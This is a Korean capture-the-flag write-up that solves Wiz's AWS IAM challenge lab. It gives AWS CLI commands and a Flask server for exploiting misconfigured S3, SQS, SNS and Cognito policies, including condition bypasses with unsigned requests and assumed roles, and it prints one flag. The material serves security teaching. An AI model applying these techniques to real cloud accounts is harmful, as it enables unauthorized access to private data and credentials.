Big IAM Challenge
WIZ사에서 제작한 AWS IAM 기반 CTF
현재 공개된 문제는 6개로, 각 문제별로 문제를 풀 수 있는 브라우저 기반 쉘을 제공한다.
Solution
#1
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}
한 S3 버킷과 그 안의 object를 가져올 수 있는 policy가 정의되어있다. 해당 policy를 통해 버킷 이름과 path가 주어졌으므로 확인해 볼 수 있다.
aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/
aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt -
그리고 문제 내용으로 보아 해당 버킷은 public인 것을 확인할 수 있다.
이 문제를 통해 public 버킷의 위험성을 설명해주고자 하는 의도로 파악된다.
#2
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}
SQS 큐에 메시지를 넣고, 가져올 수 있는 권한에 대한 Policy임을 볼 수 있다.
해당 큐에서 메시지를 가져오면 flag를 획득 가능
# queue url을 완성시켜 SQS message를 receive
aws sqs receive-message
--queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
{
"Messages": [
{
"MessageId": "ad97cfe0-a381-4aec-8ae9-01978f5151f1",
"ReceiptHandle": "AQEBsSIvp+HxWjLxbPEubsjX/kBrVDA3e2hhww/8gBddm8wK3FQ/vyZAGmXETHYFhlrzRh9KEG0IlprT/5fiYM6KrAs6g/u8+d03jdB+LeZxCij0NrzyJcJYHdd7
4oZ1032usADRpWTT4TZ0/tJM1SaF+PLYgZnlRA6NPSyGatx3/rd9q3V3Pj6w4j67A8jWuDHFvitLcaS5/LI0zhDZEX5NkRj0VvZ+wMBJqWdjGdT4HFDvGRjmTxRI9TfqJQ+hRzfAt45K7SZtuGlOBDb08R
U/oMmqTlO9kYvQLXUJbP/+jDZf35oSOzpPJwxI+Berg/ljBO75v0po7WBFKSQlFBfcu31qmOAzJ9duxE0yED0GvZ7MJgoxbS+sXQc83hDxqpwtsSI1Bd+1ki8G98EnNE2snPYq+IDO3XOWJUT3Is2KluQ=
",
"MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd",
"Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046
libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"
}
]
}
# 전달받은 URL 접근 시 flag획득
{wiz:you-are-at-the-front-of-the-queue}
#3
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}
특정 SNS Topic에 대해 subscribe할 수 있는 권한에 대한 Policy이다.
다만, subscribe 알림을 받을 Endpoint에 대해 조건이 붙어있는 것을 볼 수 있다.
Endpoint 조건을 보면 이메일로 특정 도메인에 대해서만 subscribe를 하도록 지정하려는 것으로 보인다.
하지만, SNS는 이메일뿐만 아니라 HTTP(S), Lambda, firehose 등의 프로토콜도 지원한다. 이 점을 이용해 Policy의 Endpoint 조건을 우회할 수 있다.
이 글에서는 위의 SNS Topic을 subscribe할 HTTP 엔드포인트를 만들고 subscribe 알림을 받도록 설계해본다.
간단하게 public IP가 연결된 EC2 인스턴스를 구축 후, SNS subscribe 알림을 받을 flask 웹 서버를 올려준다.
from flask import Flask, request, jsonify
import json
import requests
app = Flask(__name__)
@app.route('/')
def home():
return "Hello, this is the SNS subscription endpoint."
@app.route('/sns', methods=['POST'])
def sns_endpoint():
data = json.loads(request.data)
# Subscription confirmation
if 'Type' in data and data['Type'] == 'SubscriptionConfirmation':
subscribe_url = data['SubscribeURL']
# Subscription URL에 접근하여 구독 확인
response = requests.get(subscribe_url)
if response.status_code == 200:
return jsonify({"message": "Subscription confirmed via URL"}), 200
else:
return jsonify({"message": "Failed to confirm subscription via URL"}), 500
# Notification handling
if 'Type' in data and data['Type'] == 'Notification':
message = data['Message']
# 여기서 메시지를 처리
print(f"Received message: {message}")
return jsonify({"message": "Notification received"}), 200
return jsonify({"message": "Invalid message type"}), 400
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080, debug=True)
그리고 이 서버를 Endpoint로 할 URL을 Policy의 Condition을 만족하도록 다음과 같이 작성해준다.
열린 Endpoint 웹서버와 subscribe할 topic을 지정해서 subscribe를 실행한다.
# Endpoint
http://[public ip]:[port]/sns?q=endpoint@tbic.wiz.io
# 구독
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
--protocol http --notification-endpoint http://[public ip]:[port]/sns?q=endpoint@tbic.wiz.io
subscribe가 수행되면, Endpoint 웹 서버로 확인 메시지가 전달되고, 웹 서버는 확인 메시지 내의 Confirmation URL로 접근해 확정을 짓는다.
그렇게 subscribe 연결이 되면, 웹서버로 푸시 메시지가 전달된다.
#4
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}
1번 문제와 동일하게 버킷에 대한 Policy이나 Condition이 하나 더 생긴 것을 볼 수 있다.
해당 Condition의 내용을 볼 필요가 있는데, ForAllValues는 조건 내의 list의 모든 요소가 특정 조건을 만족하는 지 확인하는데에 사용된다고 한다.
다만, ForAllValues는 요청에 해당 키가 없거나 키 값이 빈(null) 경우에도 true로 취급된다는 점이 존재한다.
그렇기에 우리는 버킷의 내용을 확인하기 위해 --no-sign-request 옵션을 사용해 Anonymous User로써 접근한다.
이를 통해 ForAllValues의 우회가 가능하며 버킷에 접근할 수 있는 것을 볼 수 있다.
#5
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}
문제에 주어진 이미지 부분을 확인하면, cognito 관련 script를 발견할 수 있다.
private 버킷에 있는 해당 이미지를 Presigned-URL로 가져오기 위해 cognito로 인증을 하는 부분인 것을 알 수 있다.
credential 부분에서 Identity Pool ID를 확인할 수 있다.
Identity Pool ID를 바탕으로 Identity ID를 가져올 수 있고, 이 Identity ID를 통해 단기 Credential을 발급받을 수 있다.
aws cognito-identity get-id \
--identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b --no-sign
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:157d6171-eeeb-ca37-3032-549a5510ff8a --no-sign
그리고 발급받은 단기 Credential로 Private 버킷에 접근 후, flag를 탈취할 수 있다.
#6
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}
문제와 동시에 하나의 Role이 주어진다. 해당 Role의 Credential을 발급받아 버킷에 있는 flag를 탈취하는 목적으로 보인다.
주어진 Policy의 AssumeRoleWithWebIdentity는 Web Identity Provider로부터 인증을 받은 사용자에게 지정한 Role에 대한 단기 Credential을 발급해준다.
# Identity ID 확인
aws cognito-identity get-id \
--identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b --no-sign
# OpenID Token 발급
aws cognito-identity get-open-id-token \
--identity-id us-east-1:157d6171-ee37-c46d-cf94-dfea8bf15228 --no-sign
# AssumeRoleWithWebIdentity
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role \
--role-session-name sessionName --web-identity-token [발급한 OpenID token]
이렇게 발급받은 단기 Credential로 assume-role 가능하며, 버킷의 flag를 탈취할 수 있다.
위와 같은 로직을 Identity pool basic authentication flow라고 한다.